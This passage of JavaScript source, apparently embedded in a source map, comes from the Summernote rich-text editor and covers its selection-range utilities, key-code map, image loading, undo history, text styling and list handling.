endPoint = getVisiblePoint(this.getEndPoint(), false);\n const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * returns matched nodes on range\n *\n * @param {Function} [pred] - predicate function\n * @param {Object} [options]\n * @param {Boolean} [options.includeAncestor]\n * @param {Boolean} [options.fullyContains]\n * @return {Node[]}\n */\n nodes(pred, options) {\n pred = pred || func.ok;\n\n const includeAncestor = options && options.includeAncestor;\n const fullyContains = options && options.fullyContains;\n\n // TODO compare points and sort\n const startPoint = this.getStartPoint();\n const endPoint = this.getEndPoint();\n\n const nodes = [];\n const leftEdgeNodes = [];\n\n dom.walkPoint(startPoint, endPoint, function(point) {\n if (dom.isEditable(point.node)) {\n return;\n }\n\n let node;\n if (fullyContains) {\n if (dom.isLeftEdgePoint(point)) {\n leftEdgeNodes.push(point.node);\n }\n if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n node = point.node;\n }\n } else if (includeAncestor) {\n node = dom.ancestor(point.node, pred);\n } else {\n node = point.node;\n }\n\n if (node && pred(node)) {\n nodes.push(node);\n }\n }, true);\n\n return lists.unique(nodes);\n }\n\n /**\n * returns commonAncestor of range\n * @return {Element} - commonAncestor\n */\n commonAncestor() {\n return dom.commonAncestor(this.sc, this.ec);\n }\n\n /**\n * returns expanded range by pred\n *\n * @param {Function} pred - predicate function\n * @return {WrappedRange}\n */\n expand(pred) {\n const startAncestor = dom.ancestor(this.sc, pred);\n const endAncestor = dom.ancestor(this.ec, pred);\n\n if (!startAncestor && !endAncestor) {\n return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n }\n\n const boundaryPoints = this.getPoints();\n\n if (startAncestor) {\n boundaryPoints.sc = startAncestor;\n boundaryPoints.so = 0;\n }\n\n if (endAncestor) {\n boundaryPoints.ec = endAncestor;\n boundaryPoints.eo = dom.nodeLength(endAncestor);\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * @param {Boolean} isCollapseToStart\n * @return {WrappedRange}\n */\n collapse(isCollapseToStart) {\n if (isCollapseToStart) {\n return new WrappedRange(this.sc, this.so, this.sc, this.so);\n } else {\n return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n }\n }\n\n /**\n * splitText on range\n */\n splitText() {\n const isSameContainer = this.sc === this.ec;\n const boundaryPoints = this.getPoints();\n\n if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n this.ec.splitText(this.eo);\n }\n\n if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n boundaryPoints.sc = this.sc.splitText(this.so);\n boundaryPoints.so = 0;\n\n if (isSameContainer) {\n boundaryPoints.ec = boundaryPoints.sc;\n boundaryPoints.eo = this.eo - this.so;\n }\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * delete contents on range\n * @return {WrappedRange}\n */\n deleteContents() {\n if (this.isCollapsed()) {\n return this;\n }\n\n const rng = this.splitText();\n const nodes = rng.nodes(null, {\n fullyContains: true,\n });\n\n // find new cursor point\n const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n return !lists.contains(nodes, point.node);\n });\n\n const emptyParents = [];\n $.each(nodes, function(idx, node) {\n // find empty parents\n const parent = node.parentNode;\n if (point.node !== parent && dom.nodeLength(parent) === 1) {\n emptyParents.push(parent);\n }\n dom.remove(node, false);\n });\n\n // remove empty parents\n $.each(emptyParents, function(idx, node) {\n dom.remove(node, false);\n });\n\n return new WrappedRange(\n point.node,\n point.offset,\n point.node,\n point.offset\n ).normalize();\n }\n\n /**\n * makeIsOn: return isOn(pred) function\n */\n makeIsOn(pred) {\n return function() {\n const ancestor = dom.ancestor(this.sc, pred);\n return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n };\n }\n\n /**\n * @param {Function} pred\n * @return {Boolean}\n */\n isLeftEdgeOf(pred) {\n if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n return false;\n }\n\n const node = dom.ancestor(this.sc, pred);\n return node && dom.isLeftEdgeOf(this.sc, node);\n }\n\n /**\n * returns whether range was collapsed or not\n */\n isCollapsed() {\n return this.sc === this.ec && this.so === this.eo;\n }\n\n /**\n * wrap inline nodes which children of body with paragraph\n *\n * @return {WrappedRange}\n */\n wrapBodyInlineWithPara() {\n if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n this.sc.innerHTML = dom.emptyPara;\n return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n }\n\n /**\n * [workaround] firefox often create range on not visible point. so normalize here.\n * - firefox: |

    text

    |\n * - chrome:

    |text|

    \n */\n const rng = this.normalize();\n if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n return rng;\n }\n\n // find inline top ancestor\n let topAncestor;\n if (dom.isInline(rng.sc)) {\n const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n topAncestor = lists.last(ancestors);\n if (!dom.isInline(topAncestor)) {\n topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n }\n } else {\n topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n }\n\n if (topAncestor) {\n // siblings not in paragraph\n let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n // wrap with paragraph\n if (inlineSiblings.length) {\n const para = dom.wrap(lists.head(inlineSiblings), 'p');\n dom.appendChildNodes(para, lists.tail(inlineSiblings));\n }\n }\n\n return this.normalize();\n }\n\n /**\n * insert node at current cursor\n *\n * @param {Node} node\n * @return {Node}\n */\n insertNode(node) {\n let rng = this;\n\n if (dom.isText(node) || dom.isInline(node)) {\n rng = this.wrapBodyInlineWithPara().deleteContents();\n }\n\n const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n if (info.rightNode) {\n info.rightNode.parentNode.insertBefore(node, info.rightNode);\n } else {\n info.container.appendChild(node);\n }\n\n return node;\n }\n\n /**\n * insert html at current cursor\n */\n pasteHTML(markup) {\n markup = $.trim(markup);\n\n const contentsContainer = $('
    ').html(markup)[0];\n let childNodes = lists.from(contentsContainer.childNodes);\n\n // const rng = this.wrapBodyInlineWithPara().deleteContents();\n const rng = this;\n\n if (rng.so >= 0) {\n childNodes = childNodes.reverse();\n }\n childNodes = childNodes.map(function(childNode) {\n return rng.insertNode(childNode);\n });\n if (rng.so > 0) {\n childNodes = childNodes.reverse();\n }\n return childNodes;\n }\n\n /**\n * returns text in range\n *\n * @return {String}\n */\n toString() {\n const nativeRng = this.nativeRange();\n return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n }\n\n /**\n * returns range for word before cursor\n *\n * @param {Boolean} [findAfter] - find after cursor, default: false\n * @return {WrappedRange}\n */\n getWordRange(findAfter) {\n let endPoint = this.getEndPoint();\n\n if (!dom.isCharPoint(endPoint)) {\n return this;\n }\n\n const startPoint = dom.prevPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n\n if (findAfter) {\n endPoint = dom.nextPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n }\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * returns range for words before cursor\n *\n * @param {Boolean} [findAfter] - find after cursor, default: false\n * @return {WrappedRange}\n */\n getWordsRange(findAfter) {\n var endPoint = this.getEndPoint();\n\n var isNotTextPoint = function(point) {\n return !dom.isCharPoint(point) && !dom.isSpacePoint(point);\n };\n\n if (isNotTextPoint(endPoint)) {\n return this;\n }\n\n var startPoint = dom.prevPointUntil(endPoint, isNotTextPoint);\n\n if (findAfter) {\n endPoint = dom.nextPointUntil(endPoint, isNotTextPoint);\n }\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * returns range for words before cursor that match with a Regex\n *\n * example:\n * range: 'hi @Peter Pan'\n * regex: '/@[a-z ]+/i'\n * return range: '@Peter Pan'\n *\n * @param {RegExp} [regex]\n * @return {WrappedRange|null}\n */\n getWordsMatchRange(regex) {\n var endPoint = this.getEndPoint();\n\n var startPoint = dom.prevPointUntil(endPoint, function(point) {\n if (!dom.isCharPoint(point) && !dom.isSpacePoint(point)) {\n return true;\n }\n var rng = new WrappedRange(\n point.node,\n point.offset,\n endPoint.node,\n endPoint.offset\n );\n var result = regex.exec(rng.toString());\n return result && result.index === 0;\n });\n\n var rng = new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n\n var text = rng.toString();\n var result = regex.exec(text);\n\n if (result && result[0].length === text.length) {\n return rng;\n } else {\n return null;\n }\n }\n\n /**\n * create offsetPath bookmark\n *\n * @param {Node} editable\n */\n bookmark(editable) {\n return {\n s: {\n path: dom.makeOffsetPath(editable, this.sc),\n offset: this.so,\n },\n e: {\n path: dom.makeOffsetPath(editable, this.ec),\n offset: this.eo,\n },\n };\n }\n\n /**\n * create offsetPath bookmark base on paragraph\n *\n * @param {Node[]} paras\n */\n paraBookmark(paras) {\n return {\n s: {\n path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n offset: this.so,\n },\n e: {\n path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n offset: this.eo,\n },\n };\n }\n\n /**\n * getClientRects\n * @return {Rect[]}\n */\n getClientRects() {\n const nativeRng = this.nativeRange();\n return nativeRng.getClientRects();\n }\n}\n\n/**\n * Data structure\n * * BoundaryPoint: a point of dom tree\n * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n /**\n * create Range Object From arguments or Browser Selection\n *\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n * @return {WrappedRange}\n */\n create: function(sc, so, ec, eo) {\n if (arguments.length === 4) {\n return new WrappedRange(sc, so, ec, eo);\n } else if (arguments.length === 2) { // collapsed\n ec = sc;\n eo = so;\n return new WrappedRange(sc, so, ec, eo);\n } else {\n let wrappedRange = this.createFromSelection();\n\n if (!wrappedRange && arguments.length === 1) {\n let bodyElement = arguments[0];\n if (dom.isEditable(bodyElement)) {\n bodyElement = bodyElement.lastChild;\n }\n return this.createFromBodyElement(bodyElement, dom.emptyPara === arguments[0].innerHTML);\n }\n return wrappedRange;\n }\n },\n\n createFromBodyElement: function(bodyElement, isCollapseToStart = false) {\n var wrappedRange = this.createFromNode(bodyElement);\n return wrappedRange.collapse(isCollapseToStart);\n },\n\n createFromSelection: function() {\n let sc, so, ec, eo;\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (!selection || selection.rangeCount === 0) {\n return null;\n } else if (dom.isBody(selection.anchorNode)) {\n // Firefox: returns entire body as range on initialization.\n // We won't never need it.\n return null;\n }\n\n const nativeRng = selection.getRangeAt(0);\n sc = nativeRng.startContainer;\n so = nativeRng.startOffset;\n ec = nativeRng.endContainer;\n eo = nativeRng.endOffset;\n } else { // IE8: TextRange\n const textRange = document.selection.createRange();\n const textRangeEnd = textRange.duplicate();\n textRangeEnd.collapse(false);\n const textRangeStart = textRange;\n textRangeStart.collapse(true);\n\n let startPoint = textRangeToPoint(textRangeStart, true);\n let endPoint = textRangeToPoint(textRangeEnd, false);\n\n // same visible point case: range was collapsed.\n if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n endPoint.node.nextSibling === startPoint.node) {\n startPoint = endPoint;\n }\n\n sc = startPoint.cont;\n so = startPoint.offset;\n ec = endPoint.cont;\n eo = endPoint.offset;\n }\n\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from node\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNode: function(node) {\n let sc = node;\n let so = 0;\n let ec = node;\n let eo = dom.nodeLength(ec);\n\n // browsers can't target a picture or void node\n if (dom.isVoid(sc)) {\n so = dom.listPrev(sc).length - 1;\n sc = sc.parentNode;\n }\n if (dom.isBR(ec)) {\n eo = dom.listPrev(ec).length - 1;\n ec = ec.parentNode;\n } else if (dom.isVoid(ec)) {\n eo = dom.listPrev(ec).length;\n ec = ec.parentNode;\n }\n\n return this.create(sc, so, ec, eo);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeBefore: function(node) {\n return this.createFromNode(node).collapse(true);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeAfter: function(node) {\n return this.createFromNode(node).collapse();\n },\n\n /**\n * @method\n *\n * create WrappedRange from bookmark\n *\n * @param {Node} editable\n * @param {Object} bookmark\n * @return {WrappedRange}\n */\n createFromBookmark: function(editable, bookmark) {\n const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n const so = bookmark.s.offset;\n const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n const eo = bookmark.e.offset;\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from paraBookmark\n *\n * @param {Object} bookmark\n * @param {Node[]} paras\n * @return {WrappedRange}\n */\n createFromParaBookmark: function(bookmark, paras) {\n const so = bookmark.s.offset;\n const eo = bookmark.e.offset;\n const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n return new WrappedRange(sc, so, ec, eo);\n },\n};\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n 'BACKSPACE': 8,\n 'TAB': 9,\n 'ENTER': 13,\n 'SPACE': 32,\n 'DELETE': 46,\n\n // Arrow\n 'LEFT': 37,\n 'UP': 38,\n 'RIGHT': 39,\n 'DOWN': 40,\n\n // Number: 0-9\n 'NUM0': 48,\n 'NUM1': 49,\n 'NUM2': 50,\n 'NUM3': 51,\n 'NUM4': 52,\n 'NUM5': 53,\n 'NUM6': 54,\n 'NUM7': 55,\n 'NUM8': 56,\n\n // Alphabet: a-z\n 'B': 66,\n 'E': 69,\n 'I': 73,\n 'J': 74,\n 'K': 75,\n 'L': 76,\n 'R': 82,\n 'S': 83,\n 'U': 85,\n 'V': 86,\n 'Y': 89,\n 'Z': 90,\n\n 'SLASH': 191,\n 'LEFTBRACKET': 219,\n 'BACKSLASH': 220,\n 'RIGHTBRACKET': 221,\n\n // Navigation\n 'HOME': 36,\n 'END': 35,\n 'PAGEUP': 33,\n 'PAGEDOWN': 34,\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n /**\n * @method isEdit\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isEdit: (keyCode) => {\n return lists.contains([\n KEY_MAP.BACKSPACE,\n KEY_MAP.TAB,\n KEY_MAP.ENTER,\n KEY_MAP.SPACE,\n KEY_MAP.DELETE,\n ], keyCode);\n },\n /**\n * @method isMove\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isMove: (keyCode) => {\n return lists.contains([\n KEY_MAP.LEFT,\n KEY_MAP.UP,\n KEY_MAP.RIGHT,\n KEY_MAP.DOWN,\n ], keyCode);\n },\n /**\n * @method isNavigation\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isNavigation: (keyCode) => {\n return lists.contains([\n KEY_MAP.HOME,\n KEY_MAP.END,\n KEY_MAP.PAGEUP,\n KEY_MAP.PAGEDOWN,\n ], keyCode);\n },\n /**\n * @property {Object} nameFromCode\n * @property {String} nameFromCode.8 \"BACKSPACE\"\n */\n nameFromCode: func.invertObject(KEY_MAP),\n code: KEY_MAP,\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n return $.Deferred((deferred) => {\n $.extend(new FileReader(), {\n onload: (e) => {\n const dataURL = e.target.result;\n deferred.resolve(dataURL);\n },\n onerror: (err) => {\n deferred.reject(err);\n },\n }).readAsDataURL(file);\n }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n return $.Deferred((deferred) => {\n const $img = $('');\n\n $img.one('load', () => {\n $img.off('error abort');\n deferred.resolve($img);\n }).one('error abort', () => {\n $img.off('load').detach();\n deferred.reject($img);\n }).css({\n display: 'none',\n }).appendTo(document.body).attr('src', url);\n }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n constructor(context) {\n this.stack = [];\n this.stackOffset = -1;\n this.context = context;\n this.$editable = context.layoutInfo.editable;\n this.editable = this.$editable[0];\n }\n\n makeSnapshot() {\n const rng = range.create(this.editable);\n const emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } };\n\n return {\n contents: this.$editable.html(),\n bookmark: ((rng && rng.isOnEditable()) ? rng.bookmark(this.editable) : emptyBookmark),\n };\n }\n\n applySnapshot(snapshot) {\n if (snapshot.contents !== null) {\n this.$editable.html(snapshot.contents);\n }\n if (snapshot.bookmark !== null) {\n range.createFromBookmark(this.editable, snapshot.bookmark).select();\n }\n }\n\n /**\n * @method rewind\n * Rewinds the history stack back to the first snapshot taken.\n * Leaves the stack intact, so that \"Redo\" can still be used.\n */\n rewind() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n // Return to the first available snapshot.\n this.stackOffset = 0;\n\n // Apply that snapshot.\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n\n /**\n * @method commit\n * Resets history stack, but keeps current editor's content.\n */\n commit() {\n // Clear the stack.\n this.stack = [];\n\n // Restore stackOffset to its original value.\n this.stackOffset = -1;\n\n // Record our first snapshot (of nothing).\n this.recordUndo();\n }\n\n /**\n * @method reset\n * Resets the history stack completely; reverting to an empty editor.\n */\n reset() {\n // Clear the stack.\n this.stack = [];\n\n // Restore stackOffset to its original value.\n this.stackOffset = -1;\n\n // Clear the editable area.\n this.$editable.html('');\n\n // Record our first snapshot (of nothing).\n this.recordUndo();\n }\n\n /**\n * undo\n */\n undo() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n if (this.stackOffset > 0) {\n this.stackOffset--;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * redo\n */\n redo() {\n if (this.stack.length - 1 > this.stackOffset) {\n this.stackOffset++;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * recorded undo\n */\n recordUndo() {\n this.stackOffset++;\n\n // Wash out stack after stackOffset\n if (this.stack.length > this.stackOffset) {\n this.stack = this.stack.slice(0, this.stackOffset);\n }\n\n // Create new snapshot and push it to the end\n this.stack.push(this.makeSnapshot());\n\n // If the stack size reachs to the limit, then slice it\n if (this.stack.length > this.context.options.historyLimit) {\n this.stack.shift();\n this.stackOffset -= 1;\n }\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n /**\n * @method jQueryCSS\n *\n * [workaround] for old jQuery\n * passing an array of style properties to .css()\n * will result in an object of property-value pairs.\n * (compability with version < 1.9)\n *\n * @private\n * @param {jQuery} $obj\n * @param {Array} propertyNames - An array of one or more CSS properties.\n * @return {Object}\n */\n jQueryCSS($obj, propertyNames) {\n if (env.jqueryVersion < 1.9) {\n const result = {};\n $.each(propertyNames, (idx, propertyName) => {\n result[propertyName] = $obj.css(propertyName);\n });\n return result;\n }\n return $obj.css(propertyNames);\n }\n\n /**\n * returns style object from node\n *\n * @param {jQuery} $node\n * @return {Object}\n */\n fromNode($node) {\n const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n const styleInfo = this.jQueryCSS($node, properties) || {};\n\n const fontSize = $node[0].style.fontSize || styleInfo['font-size'];\n\n styleInfo['font-size'] = parseInt(fontSize, 10);\n styleInfo['font-size-unit'] = fontSize.match(/[a-z%]+$/);\n\n return styleInfo;\n }\n\n /**\n * paragraph level style\n *\n * @param {WrappedRange} rng\n * @param {Object} styleInfo\n */\n stylePara(rng, styleInfo) {\n $.each(rng.nodes(dom.isPara, {\n includeAncestor: true,\n }), (idx, para) => {\n $(para).css(styleInfo);\n });\n }\n\n /**\n * insert and returns styleNodes on range.\n *\n * @param {WrappedRange} rng\n * @param {Object} [options] - options for styleNodes\n * @param {String} [options.nodeName] - default: `SPAN`\n * @param {Boolean} [options.expandClosestSibling] - default: `false`\n * @param {Boolean} [options.onlyPartialContains] - default: `false`\n * @return {Node[]}\n */\n styleNodes(rng, options) {\n rng = rng.splitText();\n\n const nodeName = (options && options.nodeName) || 'SPAN';\n const expandClosestSibling = !!(options && options.expandClosestSibling);\n const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n if (rng.isCollapsed()) {\n return [rng.insertNode(dom.create(nodeName))];\n }\n\n let pred = dom.makePredByNodeName(nodeName);\n const nodes = rng.nodes(dom.isText, {\n fullyContains: true,\n }).map((text) => {\n return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n });\n\n if (expandClosestSibling) {\n if (onlyPartialContains) {\n const nodesInRange = rng.nodes();\n // compose with partial contains predication\n pred = func.and(pred, (node) => {\n return lists.contains(nodesInRange, node);\n });\n }\n\n return nodes.map((node) => {\n const siblings = dom.withClosestSiblings(node, pred);\n const head = lists.head(siblings);\n const tails = lists.tail(siblings);\n $.each(tails, (idx, elem) => {\n dom.appendChildNodes(head, elem.childNodes);\n dom.remove(elem);\n });\n return lists.head(siblings);\n });\n } else {\n return nodes;\n }\n }\n\n /**\n * get current style on cursor\n *\n * @param {WrappedRange} rng\n * @return {Object} - object contains style properties.\n */\n current(rng) {\n const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n let styleInfo = this.fromNode($cont);\n\n // document.queryCommandState for toggle state\n // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n try {\n styleInfo = $.extend(styleInfo, {\n 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family'],\n });\n } catch (e) {\n // eslint-disable-next-line\n }\n\n // list-style-type to list-style(unordered, ordered)\n if (!rng.isOnList()) {\n styleInfo['list-style'] = 'none';\n } else {\n const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n const isUnordered = orderedTypes.indexOf(styleInfo['list-style-type']) > -1;\n styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n }\n\n const para = dom.ancestor(rng.sc, dom.isPara);\n if (para && para.style['line-height']) {\n styleInfo['line-height'] = para.style.lineHeight;\n } else {\n const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n styleInfo['line-height'] = lineHeight.toFixed(1);\n }\n\n styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n styleInfo.range = rng;\n\n return styleInfo;\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n /**\n * toggle ordered list\n */\n insertOrderedList(editable) {\n this.toggleList('OL', editable);\n }\n\n /**\n * toggle unordered list\n */\n insertUnorderedList(editable) {\n this.toggleList('UL', editable);\n }\n\n /**\n * indent\n */\n indent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n const previousList = this.findList(head.previousSibling);\n if (previousList) {\n paras\n .map(para => previousList.appendChild(para));\n } else {\n this.wrapList(paras, head.parentNode.nodeName);\n paras\n .map((para) => para.parentNode)\n .map((para) => this.appendToPrevious(para));\n }\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n return (parseInt(val, 10) || 0) + 25;\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * outdent\n */\n outdent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n this.releaseList([paras]);\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n val = (parseInt(val, 10) || 0);\n return val > 25 ? val - 25 : '';\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * toggle list\n *\n * @param {String} listName - OL or UL\n */\n toggleList(listName, editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const bookmark = rng.paraBookmark(paras);\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n // paragraph to list\n if (lists.find(paras, dom.isPurePara)) {\n let wrappedParas = [];\n $.each(clustereds, (idx, paras) => {\n wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n });\n paras = wrappedParas;\n // list to paragraph or change list style\n } else {\n const diffLists = rng.nodes(dom.isList, {\n includeAncestor: true,\n }).filter((listNode) => {\n return !$.nodeName(listNode, listName);\n });\n\n if (diffLists.length) {\n $.each(diffLists, (idx, listNode) => {\n dom.replace(listNode, listName);\n });\n } else {\n paras = this.releaseList(clustereds, true);\n }\n }\n\n range.createFromParaBookmark(bookmark, paras).select();\n }\n\n /**\n * @param {Node[]} paras\n * @param {String} listName\n * @return {Node[]}\n */\n wrapList(paras, listName) {\n const head = lists.head(paras);\n const last = lists.last(paras);\n\n const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n // P to LI\n paras = paras.map((para) => {\n return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n });\n\n // append to list(